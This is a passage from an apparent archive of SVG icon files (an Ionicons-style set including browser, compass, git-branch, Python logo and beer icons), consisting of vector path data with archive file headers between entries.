5.4-8.5 7.2-12.8 3.5-2.4-2.1-3.3-5.5-2.3-8.5 1.9-5.4 8.5-7.2 12.8-3.5 2.4 2.1 3.3 5.5 2.3 8.5zm-2.3-287.5c-4.3 3.7-11 1.9-12.8-3.5-1-3-.1-6.5 2.3-8.5 4.3-3.7 11-1.9 12.8 3.5 1 3 .1 6.4-2.3 8.5zm35.4 76.3c-2.3-3.8-1-8.7 2.7-11 3.8-2.3 8.7-1 11 2.7l33.7 62.3c2.5 4.7 3.9 9.9 3.9 15.2v122c0 5-3 8-8 8s-8-3-8-8V262c0-2.7-.7-5.3-1.9-7.6l-33.4-61.6zm44.9 239c-5.6 1.1-10.5-3.8-9.4-9.4.6-3.1 3.1-5.7 6.3-6.3 5.6-1.1 10.5 3.8 9.4 9.4-.6 3.2-3.2 5.7-6.3 6.3zm0-336c-5.6 1.1-10.5-3.8-9.4-9.4.6-3.1 3.1-5.7 6.3-6.3 5.6-1.1 10.5 3.8 9.4 9.4-.6 3.2-3.2 5.7-6.3 6.3zm87.7 311.7c-4.3 3.7-11 1.9-12.8-3.5-1-3-.1-6.5 2.3-8.5 4.3-3.7 11-1.9 12.8 3.5 1 3 .1 6.4-2.3 8.5zm2.3-294.5c-1.9 5.4-8.5 7.2-12.8 3.5-2.4-2.1-3.3-5.5-2.3-8.5 1.9-5.4 8.5-7.2 12.8-3.5 2.4 2.1 3.3 5.5 2.3 8.5zm61.5 229.5c-1.9 5.4-8.5 7.2-12.8 3.5-2.4-2.1-3.3-5.5-2.3-8.5 1.9-5.4 8.5-7.2 12.8-3.5 2.4 2.1 3.3 5.5 2.3 8.5zM406.8 178c-4.3 3.7-11 1.9-12.8-3.5-1-3-.1-6.5 2.3-8.5 4.3-3.7 11-1.9 12.8 3.5 1 3 .1 6.4-2.3 8.5zm18.8 85.8c-5.6 1.1-10.5-3.8-9.4-9.4.6-3.1 3.1-5.7 6.3-6.3 5.6-1.1 10.5 3.8 9.4 9.4-.6 3.2-3.2 5.7-6.3 6.3z"/></svg>collection/icon/svg/ios-browsers.svg000064400000000553151701353760013620 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 181.4V424c0 22.1 17.9 40 40 40h242.6c22.1 0 40-17.9 40-40V181.4c0-22.1-17.9-40-40-40H88c-22.1 0-40 17.9-40 40z"/><path d="M141.4 88v28.4c0 2.2 1.8 4 4 4h198.2c26.4 0 48 21.6 48 48v198.2c0 2.2 1.8 4 4 4H424c22.1 0 40-17.9 40-40V88c0-22.1-17.9-40-40-40H181.4c-22.1 0-40 17.9-40 40z"/></svg>collection/icon/svg/logo-ionic.svg000064400000001114151701353760013213 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 161.2c-52.3 0-94.8 42.5-94.8 94.8s42.5 94.8 94.8 94.8 94.8-42.5 94.8-94.8-42.5-94.8-94.8-94.8z"/><circle cx="392.1" cy="126.4" r="43.2"/><path d="M445.3 169.8l-1.8-4-2.9 3.3c-7.1 8-16.1 14.2-26.1 17.9l-2.8 1 1.1 2.7c8.6 20.7 13 42.7 13 65.2 0 93.7-76.2 169.9-169.9 169.9S86.1 349.7 86.1 256 162.3 86.1 256 86.1c25.4 0 49.9 5.5 72.8 16.4l2.7 1.3 1.2-2.7c4.2-9.8 10.8-18.5 19.2-25.2l3.4-2.7-3.9-2C321.6 55.8 289.5 48 256 48 141.3 48 48 141.3 48 256s93.3 208 208 208 208-93.3 208-208c0-30-6.3-59-18.7-86.2z"/></svg>collection/icon/svg/md-compass.svg000064400000000555151701353760013227 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 231.358c-13.442 0-24.643 11.2-24.643 24.642s11.2 24.643 24.643 24.643 24.643-11.2 24.643-24.643-11.201-24.642-24.643-24.642zM256 32C132.8 32 32 132.8 32 256s100.8 224 224 224 224-100.8 224-224S379.2 32 256 32zm49.284 273.284L121.6 390.4l85.116-183.679L390.4 121.6l-85.116 183.684z"/></svg>collection/icon/svg/md-git-branch.svg000064400000001350151701353760013572 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 160c0-35.3-28.7-64-64-64s-64 28.7-64 64c0 23.7 12.9 44.3 32 55.4v8.6c0 19.9-7.8 33.7-25.3 44.9-15.4 9.8-38.1 17.1-67.5 21.5-14 2.1-25.7 6-35.2 10.7V151.4c19.1-11.1 32-31.7 32-55.4 0-35.3-28.7-64-64-64S96 60.7 96 96c0 23.7 12.9 44.3 32 55.4v209.2c-19.1 11.1-32 31.7-32 55.4 0 35.3 28.7 64 64 64s64-28.7 64-64c0-16.6-6.3-31.7-16.7-43.1 1.9-4.9 9.7-16.3 29.4-19.3 38.8-5.8 68.9-15.9 92.3-30.8 36-22.8 55-57 55-98.8v-8.6c19.1-11.1 32-31.7 32-55.4zM160 56c22.1 0 40 17.9 40 40s-17.9 40-40 40-40-17.9-40-40 17.9-40 40-40zm0 400c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40zm192-256c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40z"/></svg>collection/icon/svg/md-today.svg000064400000000773151701353760012704 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.3 32H106.7C83.2 32 64 51.2 64 74.7v362.7c0 23.5 19.2 42.7 42.7 42.7h298.7c23.5 0 42.7-19.2 42.7-42.7V74.7C448 51.2 428.8 32 405.3 32zm-4 405.3H110.7c-2.2 0-4-1.8-4-4V78.7c0-2.2 1.8-4 4-4h290.7c2.2 0 4 1.8 4 4v354.7c-.1 2.1-1.9 3.9-4.1 3.9z"/><path d="M145 194v204c0 1.1.9 2 2 2h218c1.1 0 2-.9 2-2V194c0-1.1-.9-2-2-2H147c-1.1 0-2 .9-2 2zM145 114.7v34c0 1.1.9 2 2 2h171c1.1 0 2-.9 2-2v-34c0-1.1-.9-2-2-2H147c-1.1 0-2 .9-2 2z"/></svg>collection/icon/svg/md-open.svg000064400000000524151701353760012517 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.34 405.332H106.66V106.668H240V64H106.66C83.191 64 64 83.197 64 106.668v298.664C64 428.803 83.191 448 106.66 448h298.68c23.469 0 42.66-19.197 42.66-42.668V272h-42.66v133.332zM288 64v42.668h87.474L159.999 322.133l29.866 29.866 215.476-215.47V224H448V64H288z"/></svg>collection/icon/svg/ios-barcode.svg000064400000002105151701353760013344 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M121.6 388H80.8c-2.2 0-4-1.8-4-4V128c0-2.2 1.8-4 4-4h40.5c7.9 0 14.5-6.4 14.7-14 .1-3.9-1.3-7.2-4.1-10-2.7-2.8-8-4-11.9-4H66c-10 0-18 6-18 16v288c0 10 7 16 17 16h56.3c7.9 0 14.5-5.2 14.7-12.8.1-3.9-1.3-7.5-4.1-10.3-2.7-2.8-6.4-4.9-10.3-4.9zM447 96h-56.3c-9.5 0-17.1 8.3-14 18.3.2.7.5 1.3.8 1.9 2.7 5.2 7.6 7.8 12.9 7.8h40.8c2.2 0 4 1.8 4 4v255.9c0 2.2-1.8 4-4 4h-40.5c-7.9 0-14.5 6.2-14.7 13.9-.1 3.9 1.3 7.6 4.1 10.4 2.7 2.8 6.4 3.8 10.3 3.8H447c10 0 17-6 17-16.4V112c0-10-7-16-17-16z"/><path d="M122.5 176c-7.7 0-14 6.3-14 13.9V322c0 7.7 6.3 13.9 14 13.9s14-6.3 14-13.9V189.9c0-7.6-6.3-13.9-14-13.9zM389.5 336c7.7 0 14-6.3 14-13.9V189.9c0-7.7-6.3-13.9-14-13.9s-14 6.3-14 13.9V322c0 7.7 6.3 14 14 14zM326.5 144c-7.7 0-14 6.5-14 14.4v195.1c0 8 6.3 14.4 14 14.4s14-6.5 14-14.4V158.4c0-7.9-6.3-14.4-14-14.4zM185.5 144c-7.7 0-14 6.5-14 14.4v195.1c0 8 6.3 14.4 14 14.4s14-6.5 14-14.4V158.4c0-7.9-6.2-14.4-14-14.4zM256 160c-7.7 0-14 6.4-14 14.2v163.5c0 7.8 6.3 14.2 14 14.2s14-6.4 14-14.2V174.2c0-7.8-6.3-14.2-14-14.2z"/></svg>collection/icon/svg/md-link.svg000064400000000545151701353760012516 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M74.6 256c0-38.3 31.1-69.4 69.4-69.4h88V144h-88c-61.8 0-112 50.2-112 112s50.2 112 112 112h88v-42.6h-88c-38.3 0-69.4-31.1-69.4-69.4zm85.4 22h192v-44H160v44zm208-134h-88v42.6h88c38.3 0 69.4 31.1 69.4 69.4s-31.1 69.4-69.4 69.4h-88V368h88c61.8 0 112-50.2 112-112s-50.2-112-112-112z"/></svg>collection/icon/svg/md-notifications-outline.svg000064400000001133151701353760016101 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M257 120.471c7.083 0 23.911 4.479 23.911 4.479 45.589 10.447 77.678 52.439 77.678 99.85V352.412l9.321 9.364 7.788 7.823H136.302l7.788-7.823 9.321-9.364V224.8c0-47.41 32.089-89.403 77.678-99.85 0 0 18.043-4.479 23.911-4.479M256 48c-17.602 0-31.059 13.518-31.059 31.2v14.559c-59.015 13.523-103.53 67.601-103.53 131.041v114.4L80 380.8v20.8h352v-20.8l-41.411-41.6V224.8c0-63.44-44.516-117.518-103.53-131.041V79.2c0-17.682-13.457-31.2-31.059-31.2zm41.411 374.4h-82.823c0 22.881 18.633 41.6 41.412 41.6s41.411-18.719 41.411-41.6z"/></svg>collection/icon/svg/md-star-half.svg000064400000000577151701353760013447 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M458 210.409l-145.267-12.476L256 64l-56.743 133.934L54 210.409l110.192 95.524L131.161 448 256 372.686 380.83 448l-33.021-142.066L458 210.409zM272.531 345.287L256 335.313l-.002-189.277 27.27 64.379 7.52 17.751 19.208 1.65 69.846 5.998-52.993 45.939-14.576 12.636 4.367 18.788 15.875 68.299-59.984-36.189z"/></svg>collection/icon/svg/md-archive.svg000064400000000753151701353760013203 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M453.594 100.001l-32.353-39.299C415.469 52.627 405.083 48 394.664 48H117.335c-10.416 0-20.801 4.627-26.576 12.702l-32.351 39.299C51.468 106.923 48 117.335 48 128.886v288.89C48 443.2 68.8 464 94.225 464h323.553C443.202 464 464 443.2 464 417.775v-288.89c0-11.55-3.463-21.962-10.406-28.884zM256 383.109L128.89 256h80.89v-46.224h92.443V256h80.89L256 383.109zM96.534 94.221L115.02 71.11h277.331l21.965 23.111H96.534z"/></svg>collection/icon/svg/logo-python.svg000064400000002500151701353760013433 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M193.46 249.056a65.316 65.316 0 0 1 11.586-1.041l-3.122-.015h103.823c4.503 0 8.806-.617 12.908-1.754 19.37-5.363 33.345-22.537 33.345-43.663v-87.224c0-24.832-21.15-43.484-46.289-47.606-15.931-2.624-39.258-3.827-55.089-3.749-15.829.086-30.981 1.404-44.277 3.749C167.143 74.576 160 88.928 160 115.359V144h96v16H128.82c-35.628 0-64.538 42.571-64.813 95.242-.002.253-.007.505-.007.758 0 9.523.94 18.72 2.685 27.404C74.648 323.07 99.451 352 128.82 352H144v-45.935c0-26.827 20.146-51.733 49.46-57.009zm10.196-122.054c-9.592 0-17.384-7.785-17.384-17.403 0-9.664 7.774-17.52 17.384-17.52 9.574 0 17.399 7.855 17.399 17.52.001 9.618-7.809 17.403-17.399 17.403z"/><path d="M443.951 222.543C434.78 186.021 411.033 160 383.18 160H368v40.672c0 33.915-22.286 58.474-49.489 62.681a53.943 53.943 0 0 1-8.301.646H206.351a51.41 51.41 0 0 0-13.049 1.672C174.18 270.689 160 286.6 160 307.236v87.227c0 24.832 24.977 39.426 49.481 46.551 29.327 8.531 61.267 10.068 96.366 0C329.15 434.354 352 420.893 352 394.463V368h-96v-16h127.18c25.24 0 47.107-21.365 57.814-52.549C445.474 286.404 448 271.641 448 256c0-11.768-1.433-23.038-4.049-33.457zM307.867 382.82c9.59 0 17.381 7.785 17.381 17.4 0 9.65-7.791 17.521-17.381 17.521-9.577 0-17.399-7.871-17.399-17.521 0-9.63 7.806-17.4 17.399-17.4z"/></svg>collection/icon/svg/ios-power.svg000064400000001162151701353760013103 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M380.4 111.7c-3.3-2.8-7.5-4.3-11.8-4.3-5.3 0-10.4 2.3-13.8 6.4-3.2 3.7-4.7 8.4-4.3 13.3.4 4.8 2.7 9.3 6.4 12.4 34.8 29.5 54.8 72.3 54.8 117.4 0 85.4-69.8 154.8-155.6 154.8s-155.6-69.5-155.6-154.8c0-45.2 20-88 54.8-117.4 3.7-3.1 6-7.5 6.4-12.4.4-4.8-1.1-9.6-4.3-13.3-3.5-4-8.5-6.4-13.8-6.4-4.3 0-8.5 1.5-11.8 4.3C88.7 148.1 64 201 64 256.8 64 362.2 150.1 448 256 448s192-85.8 192-191.2c0-55.8-24.7-108.7-67.6-145.1z"/><path d="M256.9 274.5c10.2 0 18.5-8.3 18.5-18.5V82.5c0-10.2-8.3-18.5-18.5-18.5s-18.5 8.3-18.5 18.5V256c0 10.2 8.3 18.5 18.5 18.5z"/></svg>collection/icon/svg/ios-warning.svg000064400000000520151701353760013411 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M228.9 79.9L51.8 403.1C40.6 423.3 55.5 448 78.9 448h354.3c23.3 0 38.2-24.7 27.1-44.9L283.1 79.9c-11.7-21.2-42.5-21.2-54.2 0zM273.6 214L270 336h-28l-3.6-122h35.2zM256 402.4c-10.7 0-19.1-8.1-19.1-18.4s8.4-18.4 19.1-18.4 19.1 8.1 19.1 18.4-8.4 18.4-19.1 18.4z"/></svg>collection/icon/svg/ios-wine.svg000064400000001266151701353760012716 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M328.9 51.2c-2-5.5-7-9.2-12.9-9.2H196c-6 0-10.9 3.7-13 9.2-9.3 25-31 87.1-31 124.8v4.8c0 19.2 0 45.4 28.4 74.5 6.5 6.7 14.3 12.9 22.5 19.5 19.1 15.3 38.8 31.1 38.8 50.2v115c0 1.1-.9 2-2 2h-57.1c-7.9 0-14.3 6.3-14.3 14s6.4 14 14.3 14h146.8c7.9 0 14.3-6.3 14.3-14s-6.4-14-14.3-14h-57.1c-1.1 0-2-.9-2-2V325c0-19.1 19.7-34.9 38.8-50.2 8.2-6.6 15.9-12.8 22.5-19.5C360 226.2 360 200 360 180.8V176c0-37.5-21.7-99.8-31.1-124.8zm-1.4 102.1c-.2.3-.7.7-1.6.7H186.1c-.8 0-1.3-.5-1.6-.7-.2-.3-.6-.8-.4-1.7 5.1-26.1 14.8-59.6 21.6-80.2.3-.8 1.1-1.4 1.9-1.4h96.8c.9 0 1.7.6 1.9 1.4 6.7 20.7 16.4 54.1 21.6 80.2.2.8-.2 1.4-.4 1.7z"/></svg>collection/icon/svg/ios-bowtie.svg000064400000001373151701353760013244 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M290.8 213.5C286 205 277 202.2 266 202.2v-.2c-6 0-14.3 1.3-22.6 2.9-11.9 2.3-19.7 7.1-19.7 7.1s3.6 27.3.1 58.5-7.9 42.5-7.9 42.5 5.3 12.1 40 15c3.9.3 7.6.5 11 .5 24.5 0 36.4-7.3 36.4-7.3s3.3-5.4 4.3-22.1c1.9-32.2-7-68.5-16.8-85.6zM205.7 208.8c-22-40.2-86.2-96.8-121.3-96.8C57.9 112 32 180.5 32 256s23 144 51.5 144c33.4 0 110.5-80 110.5-80s5.7-12.6 9.9-33.6l1.8-10.4c.7-4.7 1.3-9.7 1.7-15 .3-3.5.5-6.8.6-9.9l.3-9.8c.7-16-2.6-32.5-2.6-32.5zM427.6 112c-36.4 0-96.4 56.5-118.3 96.8l-.8 1.4s1.4 2.5 1.9 3.4c3.4 6 6.7 14.3 9.4 24l2.9 11.7c2.2 10.2 3.7 21.2 4.2 32.2l.2 9c0 2.9-.1 5.7-.3 8.5-1 16.7-4.6 22.1-4.6 22.1 7.6 10.5 69 78.9 106.2 78.9 28.5 0 51.5-68.5 51.5-144s-25.8-144-52.3-144z"/></svg>collection/icon/svg/ios-trending-down.svg000064400000000746151701353760014535 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 369.2V251.1c0-8.1-6.8-14.8-15.1-14.8s-15.1 6.6-15.1 14.8v81.7L300.5 181c-2.8-2.8-6.6-4.3-10.7-4.3-4 0-7.8 1.5-10.7 4.3l-85.9 84.1L57.5 132.3c-2.9-2.8-6.6-4.3-10.7-4.3-4 0-7.8 1.5-10.7 4.3-2.8 2.7-4.2 6.2-4.2 10.2 0 5.4 2.3 8.8 4.2 10.7l146.3 143.2c2.9 2.8 6.6 4.3 10.7 4.3 4 0 7.8-1.5 10.7-4.3l85.9-84.1 138 142.2H344c-8.3 0-15.1 6.6-15.1 14.8 0 8.1 6.8 14.8 15.1 14.8h120.8c8.4-.1 15.2-6.7 15.2-14.9z"/></svg>collection/icon/svg/ios-home.svg000064400000001241151701353760012675 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M258.5 104.1c-1.5-1.2-3.5-1.2-5 0l-156 124.8c-.9.8-1.5 1.9-1.5 3.1v230c0 1.1.9 2 2 2h108c1.1 0 2-.9 2-2V322c0-1.1.9-2 2-2h92c1.1 0 2 .9 2 2v140c0 1.1.9 2 2 2h108c1.1 0 2-.9 2-2V232c0-1.2-.6-2.4-1.5-3.1l-156-124.8z"/><path d="M458.7 204.2l-189-151.4C265.9 49.7 261 48 256 48s-9.9 1.7-13.7 4.8L160 119.7V77.5c0-1.1-.9-2-2-2H98c-1.1 0-2 .9-2 2v92.2l-42.7 35.1c-3.1 2.5-5.1 6.2-5.3 10.2-.2 4 1.3 7.9 4.1 10.7 2.6 2.6 6.1 4.1 9.9 4.1 3.2 0 6.3-1.1 8.8-3.1l183.9-148c.5-.4.9-.4 1.3-.4s.8.1 1.3.4l183.9 147.4c2.5 2 5.6 3.1 8.8 3.1 3.7 0 7.2-1.4 9.9-4.1 2.9-2.8 4.4-6.7 4.2-10.7-.3-4-2.2-7.7-5.4-10.2z"/></svg>collection/icon/svg/ios-shuffle.svg000064400000001733151701353760013407 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.9 288.1c-2.6-2.6-6.2-4.1-9.9-4.1s-7.2 1.4-9.9 4.1c-2.7 2.6-4.1 6.2-4.1 9.9s1.5 7.2 4.1 9.9l16.3 16.2h-75.5l-124-155-.1-.1c-2.6-3.1-6.7-5-10.8-5H78c-7.7 0-14 6.3-14 14s6.3 14 14 14h107.4l52.5 66-52.5 66H78c-7.7 0-14 6.3-14 14s6.3 14 14 14h114c4.1 0 8-1.8 10.7-5l.1-.1 53.2-66.8 53.2 66.8.1.1c2.7 3.2 6.6 5 10.7 5h84.4l-16.3 16.2c-2.7 2.6-4.1 6.1-4.1 9.9 0 3.7 1.5 7.2 4.1 9.9 2.6 2.6 6.2 4.1 9.9 4.1s7.2-1.4 9.9-4.1l33.6-33.4c4.2-4.1 6.5-9.6 6.5-15.5s-2.3-11.4-6.5-15.5l-35.6-35.5z"/><path d="M279.4 235.4c1.1 1.4 2.8 2.1 4.6 2.1h.1c1.8 0 3.5-.8 4.6-2.2l37.9-47.3h75.8l-16.3 16.2c-2.7 2.6-4.1 6.1-4.1 9.9 0 3.7 1.5 7.2 4.1 9.9 2.6 2.6 6.2 4.1 9.9 4.1s7.2-1.4 9.9-4.1l35.6-35.4c4.2-4.1 6.5-9.7 6.5-15.5 0-5.9-2.3-11.4-6.5-15.5l-33.6-33.4c-2.6-2.6-6.2-4.1-9.9-4.1s-7.2 1.4-9.9 4.1c-2.7 2.6-4.1 6.2-4.1 9.9s1.5 7.2 4.1 9.9l16.3 16.2H320c-4.1 0-8 1.8-10.7 5l-.1.1-40.3 50.2c-1.8 2.2-1.8 5.4.1 7.6l10.4 12.3z"/></svg>collection/icon/svg/ios-menu.svg000064400000000506151701353760012714 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M432 176H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h352c8.8 0 16 7.2 16 16s-7.2 16-16 16zM432 272H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h352c8.8 0 16 7.2 16 16s-7.2 16-16 16zM432 368H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h352c8.8 0 16 7.2 16 16s-7.2 16-16 16z"/></svg>collection/icon/svg/ios-star-half.svg000064400000001255151701353760013633 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M463 192H315.9L271.2 58.6C269 52.1 262.9 48 256 48s-13 4.1-15.2 10.6L196.1 192H48c-8.8 0-16 7.2-16 16 0 .9.1 1.9.3 2.7.2 3.5 1.8 7.4 6.7 11.3l120.9 85.2-46.4 134.9c-2.3 6.5 0 13.8 5.5 18 2.9 2.1 5.6 3.9 9 3.9 3.3 0 7.2-1.7 10-3.6l118-84.1 118 84.1c2.8 2 6.7 3.6 10 3.6 3.4 0 6.1-1.7 8.9-3.9 5.6-4.2 7.8-11.4 5.5-18L352 307.2l119.9-86 2.9-2.5c2.6-2.8 5.2-6.6 5.2-10.7 0-8.8-8.2-16-17-16zm-47.4 35.2l-79.8 57.3c-10 7.2-14.2 20.2-10.2 31.8l30.1 87.7c1.3 3.7-2.9 6.8-6.1 4.6l-77.4-55.2-.1-.1c-10-7-16.1-18.3-16.1-30.5V113.3c0-2.2 3.1-2.7 3.8-.6l29.6 88.2c3.8 11.4 14.5 19.1 26.5 19.1h97.3c3.9 0 5.5 5 2.4 7.2z"/></svg>collection/icon/svg/md-school.svg000064400000000311151701353760013037 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M113.5 281.2v85.3L256 448l142.5-81.5v-85.3L256 362.7l-142.5-81.5zM256 64L32 192l224 128 183.3-104.7v147.4H480V192L256 64z"/></svg>collection/icon/svg/ios-boat.svg000064400000002145151701353760012676 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M351.8 422c-26.2 9.2-66.5 14.9-96.1 14.9-29.6 0-69.9-5.7-96.1-14.9 0 0-26.1 23.9-62.3 36.2-2.3.8-1.5 4.2.9 3.9 22.6-2.6 40.2-6.5 61.4-12 23 9 66.7 13.9 96.1 13.9 29.4 0 74.1-3.8 96.1-13.9 21.5 5.6 38.8 9.6 62 12.1 2.4.3 3.2-3.1.9-3.9-35.7-12.4-62.9-36.3-62.9-36.3zM445.5 263l-186.2-85.5c-2.1-1-4.6-1-6.7 0L66.5 263c-6.2 2.9-10.5 9.1-10.5 16.4 0 2.4.5 4.6 1.3 6.7L112 422c27.5 0 56.7-22 56.7-22 18 9 53.1 17.1 79.3 18.6 2.8.2 5.5.2 8 .2s5.2-.1 8-.2c26.2-1.5 61.3-9.5 79.3-18.6 0 0 29.2 22 56.7 22l54.7-135.9c.8-2.1 1.3-4.3 1.3-6.7 0-7.3-4.3-13.5-10.5-16.4zM212 288c-6.6 0-12-9.8-12-22s5.4-22 12-22 12 9.8 12 22-5.4 22-12 22zm88 0c-6.6 0-12-9.8-12-22s5.4-22 12-22 12 9.8 12 22-5.4 22-12 22z"/><path d="M391.9 127v-.1C386.3 100.3 374.4 80 352 80h-34.6l-2-8c-3.6-14.1-16.4-24-31-24h-57c-14.6 0-27.4 9.9-31 24.1l-2 7.9H160c-22.9 0-35.1 20.7-39.8 47L102 223.8c-.6 3.2 2.6 5.7 5.6 4.4l25.3-11.6c1.2-.5 2-1.6 2.3-2.9l16.2-85.6c2.5-10.7 7.3-16 16.1-16h177.1c8.9 0 13.1 5 16.1 16l16.2 85.6c.2 1.3 1.1 2.4 2.3 2.9l25.4 11.7c3 1.4 6.2-1.2 5.6-4.4L391.9 127z"/></svg>collection/icon/svg/ios-battery-full.svg000064400000000675151701353760014371 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M396 144H64c-26.4 0-48 21.6-48 48v128c0 26.4 21.6 48 48 48h332c26.4 0 48-21.6 48-48V192c0-26.4-21.6-48-48-48zm20 176c0 11-9 20-20 20H64c-11 0-20-9-20-20V192c0-11 9-20 20-20h332c11 0 20 9 20 20v128zM464 204.6v102.8c16 0 32-27.7 32-51.4s-16-51.4-32-51.4z"/><path d="M384 192H76c-6.6 0-12 5.4-12 12v104c0 6.6 5.4 12 12 12h308c6.6 0 12-5.4 12-12V204c0-6.6-5.4-12-12-12z"/></svg>collection/icon/svg/md-microphone.svg000064400000000474151701353760013725 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M384 112V84.4c0-29-24.5-52.4-54.8-52.4H182.9C152.5 32 128 55.4 128 84.4V112h152v37H128v43h152v37H128v43h152v37H128v41.8c0 29 24.5 52.2 54.9 52.2H213v77h86v-77h30.2c30.3 0 54.8-23.2 54.8-52.2V309h-56v-37h56v-43h-56v-37h56v-43h-56v-37h56z"/></svg>collection/icon/svg/logo-html5.svg000064400000000520151701353760013143 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 32l34.936 403.213L255.769 480l157.245-44.854L448 32H64zm307.997 132h-184l3.991 51h176.008l-13.505 151.386-98.5 28.094-98.682-27.976L150.545 289h48.254l3.423 39.287 53.769 14.781 53.422-14.915L314.987 264H147.986l-12.571-149.589 240.789.016L371.997 164z"/></svg>collection/icon/svg/md-add.svg000064400000000251151701353760012303 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 277.333H277.333V416h-42.666V277.333H96v-42.666h138.667V96h42.666v138.667H416v42.666z"/></svg>collection/icon/svg/md-heart.svg000064400000000504151701353760012657 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 448l-30.164-27.211C118.718 322.442 48 258.61 48 179.095 48 114.221 97.918 64 162.4 64c36.399 0 70.717 16.742 93.6 43.947C278.882 80.742 313.199 64 349.6 64 414.082 64 464 114.221 464 179.095c0 79.516-70.719 143.348-177.836 241.694L256 448z"/></svg>collection/icon/svg/md-checkbox-outline.svg000064400000000550151701353760015020 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M168.531 215.469l-29.864 29.864 96 96L448 128l-29.864-29.864-183.469 182.395-66.136-65.062zm236.802 189.864H106.667V106.667H320V64H106.667C83.198 64 64 83.198 64 106.667v298.666C64 428.802 83.198 448 106.667 448h298.666C428.802 448 448 428.802 448 405.333V234.667h-42.667v170.666z"/></svg>collection/icon/svg/md-hammer.svg000064400000000766151701353760013037 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M474.1 398.2L229.8 167.8s8.8-57.7 26.2-71.8c17.5-14.2 48-32 48-32V32c-32 0-58.8 8.3-96.9 27.3-38 18.9-66.8 47.8-74.4 55.4-7.6 7.6-18.1 19.5-24.7 28.9s-5.3 20.1-5.3 20.1l-19.7 17-4-4c-2.3-2.3-6.2-2.3-8.5 0l-36.8 36.8c-2.3 2.3-2.3 6.2 0 8.5l59.4 59.4c2.3 2.3 6.2 2.3 8.5 0l36.8-36.8c2.3-2.3 2.3-6.2 0-8.5l-10.3-10.3 14.6-14.3c6.8-3.7 25.4-8.9 39.1-5.1l214.9 267.3c8.1 8.2 20.3 8.2 28.5 0l46.8-47.1c10.3-8 10.3-22.3 2.1-28.4z"/></svg>collection/icon/svg/md-beer.svg000064400000003172151701353760012475 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 140h-16v-6c8.9-9 16-22.9 16-38 0-35.3-28.7-64-64-64-16.3 0-31.1 6.1-42.4 16.1C297.2 38 281.4 32 264.2 32c-15.8 0-30.4 5.1-42.3 13.7C212 37.2 199 32 184.9 32c-17.1 0-32.4 7.6-42.8 19.5-11.7-12-28-19.5-46.1-19.5-35.3 0-64 28.7-64 64 0 16.2 6.1 31 16 42.3V193c0 26.5 21.5 48 48 48v174.5c0 35.3 28.8 64.5 64.2 64.5H336c35.3 0 64.1-29.2 64.1-64.5V372h16c50 0 64-32.7 64-68v-96c-.1-35.3-17.1-68-64.1-68zm-64 52H144v-53.7c.3-.4.7-.8 1-1.2 1.2-1.5 2.4-3 3.5-4.6 1.5 1.2 3 2.4 4.6 3.4 9.1 6.1 20 9.7 31.7 9.7 6.4 0 12.6-1.1 18.3-3 12.8 20.2 35.3 33.7 61 33.7 22 0 41.7-9.9 54.9-25.4 5.7-6.7 10.2-14.4 13.1-22.9H352v64zM96 128.1v75c-9 0-16-7.2-16-16v-63.3c-8-4.5-13.4-12.1-15.3-21-.5-2.1-.7-4.4-.7-6.7 0-17.6 14.4-32 32-32 11.8 0 23.3 7.7 30.1 15.4s26.7 7.7 33.9 0c6.8-7.3 14.3-15.4 24.8-15.4 6 0 11.6 2.2 15.9 5.8 1.9 1.6 3.6 3.5 4.9 5.6 1.1 1.8 2 4.2 3.1 5.8 2.7 3.4 6.5 5.5 11.2 5.5 4.4 0 8.3-1.9 11-5 .6-.7 1.2-1.5 1.7-2.3 